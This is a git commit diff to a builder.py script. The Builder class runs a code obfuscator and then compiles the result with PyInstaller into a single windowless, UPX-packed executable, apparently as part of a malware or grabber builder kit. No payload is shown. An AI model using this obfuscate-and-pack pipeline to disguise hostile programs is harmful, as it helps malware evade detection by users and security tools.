Update builder.py
This commit is contained in:
parent
bc5b823436
commit
38c874d7ce
|
@ -641,7 +641,7 @@ class Builder:
|
|||
|
||||
def encryption(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
|
||||
os.system(f"python obfuscation.py {filename}.py")
|
||||
os.system(f"python obfuscation.py -i {filename}.py -o obfuscated_{filename}.py -s 100")
|
||||
|
||||
def compile(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}')
|
||||
|
@ -649,7 +649,7 @@ class Builder:
|
|||
icon = self.icon_name
|
||||
else:
|
||||
icon = "NONE"
|
||||
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./tools -i {icon} --distpath ./ .\\{filename}.py')
|
||||
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./blackcap_files/upx -i {icon} --distpath ./ .\\{filename}.py')
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}')
|
||||
|
||||
def run(self, filename):
|
||||
|
|
Loading…
Reference in New Issue